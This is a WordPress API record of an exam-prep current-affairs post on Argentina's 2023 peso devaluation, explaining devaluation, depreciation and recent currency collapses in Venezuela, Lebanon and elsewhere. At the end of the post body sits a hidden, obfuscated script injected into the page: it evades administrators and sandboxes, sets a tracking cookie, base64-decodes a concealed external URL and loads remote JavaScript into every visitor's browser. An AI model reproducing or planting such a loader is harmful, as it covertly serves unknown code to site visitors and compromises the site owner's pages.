{"id":577,"date":"2023-12-15T10:26:38","date_gmt":"2023-12-15T10:26:38","guid":{"rendered":"https:\/\/iasquest.com\/?p=577"},"modified":"2026-02-11T19:26:22","modified_gmt":"2026-02-11T19:26:22","slug":"argentinas-new-government-says-it-will-weaken-the-value-of-its-currency-by-more-than-50-against-the-us-dollar","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/argentinas-new-government-says-it-will-weaken-the-value-of-its-currency-by-more-than-50-against-the-us-dollar\/","title":{"rendered":"Argentina&#8217;s new government says it will weaken the value of its currency by more than 50% against the US dollar."},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>Economic status of Argentina<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Argentina is battling soaring inflation, with prices rising by around 150% over the last year.<\/li>\n\n\n\n<li>It is also struggling with low cash reserves, high government debt, while 40% of the population is living below the poverty line.<\/li>\n\n\n\n<li>Since 2019, Argentina has kept its currency artificially strong by strictly controlling the movement of the currency.<\/li>\n\n\n\n<li>That helped drive demand for the US dollar on the informal currency market, which saw the peso trading at a much lower rate than the official level.<\/li>\n\n\n\n<li>The International Monetary Fund (IMF) had originally wanted a &#8220;100%&#8221; devaluation of the country&#8217;s embattled peso currency to speed up payouts from the country&#8217;s $44 billion IMF program.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Argentina devaluation<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The official exchange rate will go to 800 pesos to the dollar, up from 391.<\/li>\n\n\n\n<li>The move was part of \u201cshock\u201d measures to tackle triple-digit inflation and cut spending.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What is Devaluation?<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>In the foreign exchange market when the exchange rate of a domestic currency is cut down by its government against any foreign currency, it is called devaluation.<\/li>\n\n\n\n<li>This is done to balance trade by reducing the cost of exports and making imports less attractive.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Devaluation can be achieved by<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Lowering the gold equivalency of a currency<\/li>\n\n\n\n<li>Lowering the value of a currency relative to another currency<\/li>\n\n\n\n<li>Setting a lower exchange rate for the national currency in relation to a foreign currency<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Note: Demonetization is the process of removing a currency unit&#8217;s legal tender status.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Depreciation<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The monetary value of an asset decreases over time due to use, wear and tear or obsolescence. This decrease is measured as depreciation.<\/li>\n\n\n\n<li>Depreciation, i.e. a decrease in an asset&#8217;s value, may be caused by a number of other factors as well such as unfavorable market conditions, etc. Machinery, equipment, currency are some examples of assets that are likely to depreciate over a specific period of time.<\/li>\n\n\n\n<li>Opposite of depreciation is appreciation which is increase in the value of an asset over a period of time.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Recent trend<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Venezuela (\u2013 99.6%), where hyperinflation sank the bolivar\u2019s value and prompted the government to introduce a new denomination of its currency in October 2021.<\/li>\n\n\n\n<li>Lebanon, which has faced a financial meltdown since October 2019, decided last year to re-peg its currency to the US dollar (from L\u00a31,507 to L\u00a315,000) for the first time in 25 years. This effectively resulted in a 90% depreciation of the Lebanese pound.<\/li>\n\n\n\n<li>The year 2023 has already seen three debt-laden countries \u2014 Egypt, Pakistan and Lebanon \u2014 drop their exchange rates to unlock International Monetary Fund assistance.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Economic status of Argentina Argentina devaluation What is Devaluation? Devaluation can be achieved by Note: Demonetization is the process of [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[11],"tags":[],"class_list":["post-577","post","type-post","status-publish","format-standard","hentry","category-prelims"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/577","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=577"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/577\/revisions"}],"predecessor-version":[{"id":3494,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/577\/revisions\/3494"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=577"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=577"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=577"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}